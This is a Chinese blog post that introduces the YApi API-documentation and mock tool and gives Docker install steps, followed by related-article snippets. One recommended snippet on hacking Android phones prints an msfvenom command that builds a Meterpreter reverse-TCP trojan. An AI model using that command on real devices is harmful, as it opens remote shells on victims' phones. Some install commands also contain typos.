接口文档,顾名思义就是对接口说明的文档。好的接口文档包含了对接口URL,参数以及输出内容的说明,我们参照接口文档就能编写出一个个的测试用例。而且接口文档详细的话,测试用例编写起来就会比较简单,不容易遗漏。

如果接口文档信息不全或是没有接口文档的情况下,领导要求我们做接口自动化测试,这无异是一个非常艰辛的任务。但是编写接口文档的工作量很大,怎么办呢?有什么自动化工具可以协助我们生成文档呢?

众里寻他千百度,最近我发现一款工具可以大大解放我们工作,自动生成接口文档。他就是YApi,先上图说明,这是我在YApi中做的接口文档,是不是蛮专业

YApi介绍

1 YApi 是什么呢

YMFE 是去哪儿网移动架构组(YMFE)简称,是由FE,iOS和Android工程师共同组成的

• Yapi 由 YMFE开源,旨在为开发、产品、测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布、维护 API。

• YApi 成熟的团队管理扁平化项目权限配置满足各类企业的需求

• 基于 websocket 的多人协作接口编辑功能和类 postman 测试工具,让多人协作成倍提升开发效率

• Mock Server 易用的 Mock Server,再也不用担心 mock 数据的生成了

• 自动化测试 完善的接口自动化测试,保证数据的正确性

• 数据导入 支持导入 swagger, postman, har 数据格式,方便迁移旧项目

2 试用地址如下

http://yapi.demo.qunar.com/

3 这是一个Mock接口数据维护例子

4 更为强大的是,可以支持数据导入,和文档导出,可以把项目中的接口导出到HTML文件,同时在本地word中,就可以将HTML文档转换为word文档,更方便我们转播和存储。

安装使用

5如何安装呢,直接采用docker安装最为简单(需要有docker使用基础)

5.1 安装mogodb;

docker run -d --name mongo-yapi mongo;

5.2 拉取yapi

docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi

5.3、初始化管理员账号和服务

docker run -it --rm

--link mongo-yapi:mongo

--entrypoint npm

--workdir /api/vendors

registry.cn-hangzhou.aliyuncs.com/anoy/yapi

runinstall-server

5.4、初始化管理员账号和服务

启动YApi服务

docker run -d

--name yapi

--link mongo-yapi:mongo

--workdir /api/vendors

-p 3002:3000

registry.cn-hangzhou.aliyuncs.com/anoy/yapi

server/app.js

5.5、访问http://ip:3002

6 mock平台不足地方,如果涉及后台业务,比如查询数据库 ,java方向可以采用springmvc 自己定制,这就需要具备测试开发能力了,例如自定义动态返回接口

还在手工写接口测试文档,已经out了的更多相关文章

  1. 有了Swagger2,再也不用为写Api文档头疼了

    1.为什么要写Api文档 现在,前后端分离的开发模式已经非常流行,后端开发工程师只负责完成后端接口,前端页面的开发和渲染完全由前端工程师完成. 问题来了,前端工程师怎么知道后端接口的具体定义呢?答案是 ...

  2. 你会用AngularJS,但你会写AngularJS文档么?

    你会用AngularJS,但你会写AngularJS文档么? 涉及知识:gulp javascript 我们经常在写代码的时候要求写好注释,方便日后维护.但其实注释还有一个重要的用途:生成API文档. ...

  3. 看云&gitbook 写帮助文档 | 专注于文档在线创作、协作和托管

    看云 写帮助文档 | 专注于文档在线创作.协作和托管 https://www.kancloud.cn/manual/thinkphp/1678 https://www.gitbook.com/

  4. 「快学springboot」16.让swagger帮忙写接口文档

    swagger简介 官方的介绍 THE WORLD'S MOST POPULAR API TOOLING Swagger is the world's largest framework of API ...

  5. 使用docsify 写开源文档

    使用docsify 写开源文档 官网:https://docsify.js.org/#/ docsify 是一个动态生成文档网站的工具.不同于 GitBook.Hexo 的地方是它不会生成将 .md ...

  6. 《Spring Boot 实战纪实》之如何攥写需求文档

    目录 前言 (思维篇)人人都是产品经理 1.需求文档 1.1 需求管理 1.2 如何攥写需求文档 1.3 需求关键点文档 2 原型设计 2.1 缺失的逻辑 2.2 让想法跃然纸上 3 开发设计文档 3 ...

  7. C#写TXT文档

    //C#写TXT文档 String strDir = System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAs ...

  8. 要写文档了,emmm,先写个文档工具吧——DocMarkdown

    前言 之前想用Markdown来写框架文档,找来找去发现还是Jekyll的多,但又感觉不是很合我的需求 于是打算自己简单弄一个展示Markdown文档的网站工具,要支持多版本.多语言.导航.页内导航等 ...

  9. Markdown写接口文档,自动添加TOC

    上回说到,用Impress.js代替PPT来做项目展示.这回换Markdown来做接口文档好了.(不敢说代替Word,只能说个人感觉更为方便)当然,还要辅之以Git,来方便版本管理. Markdown ...

  10. Perl:写POD文档

    官方手册:https://perldoc.perl.org/perlpod.html POD文档是perl的man文档,可以用perldoc输出,也可以直接用man输出.在开始下面的文章之前,请先粗略 ...

随机推荐

  1. es6有哪些新特性?

    1. let 和 ocnst ,可以定义块级作用域 2. 新增了箭头函数,箭头函数简化了函数定义的定义 3.新增了promise解决回调地狱问题 ps:回调地狱是我们异步请求服务器数据时,通过then ...

  2. MSF 入侵安卓手机

    生成木马文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.135.247 LPPRT=5555 进行文件传输: python3 ...

  3. js实现控制音乐播放

    js实现控制音乐播放 用js实现控制音乐播放其实很简单,但是第一次去做可能会遇到一点点小问题. 比如说我自己,第一次想实现一个播放器效果,然后在网上搜寻半天照着自己的理解写下如下代码:  <!D ...

  4. Kubernetes 集群中流量暴露的几种方案

    作者:KaliArch(薛磊),某 Cloud MSP 服务商产品负责人,熟悉企业级高可用 / 高并发架构,包括混合云架构.异地灾备,熟练企业 DevOps 改造优化,熟悉 Shell/Python/ ...

  5. OpenFunction v0.8.0 发布:通过 Dapr Proxy 加速函数启动

    相较于其他函数计算项目,OpenFunction 有很多独特的功能,其中之一便是通过 Dapr 与各种后端服务(BaaS)无缝集成.目前 OpenFunction 已经支持了 Dapr 的 pub/s ...

  6. 二叉树遍历(C语言版)

    二叉树遍历 先序 递归 int *res; void preorder(struct TreeNode *root, int *returnSize) { if (root == NULL) retu ...

  7. 2024御网线上Pwn方向题解

    ASM Checksec检查保护 基本上保护都关闭了 64位ida逆向 程序只有一段,并且返回地址就是输入的数据,看起来就是srop了,找一下可以用的gadget 通过异或清空rax值,然后通过异或e ...

  8. 每日学学Java开发规范,常量定义(附阿里巴巴Java开发手册(终极版))

    前言 每次去不同的公司,码不同的代码,适应不同的规范,经常被老大教育规范问题,我都有点走火入魔的感觉,还是要去看看阿里巴巴Java开发规范,从中熟悉一下,纠正自己,码出高效,码出质量. 想细看的可以去 ...

  9. Air780E篇:采集温湿度传感器数据,并网页查看

    ​ 今天我们学习合宙低功耗4G模组Air780E篇:采集温湿度传感器数据并实现网页查看,以下进入正文. 一.硬件装备 1.1 硬件连接 使用跳线帽将IO_SEL连接3.3V,给引脚供3.3V的电.dh ...

  10. Python:pygame游戏编程之旅四(游戏界面文字处理)

    本节讲解游戏界面中字体的处理,以在界面中实时显示当前时间.小球位置为例进行实验,具体见代码. 一.代码 # -*- coding:utf-8 -*- import os import sys impo ...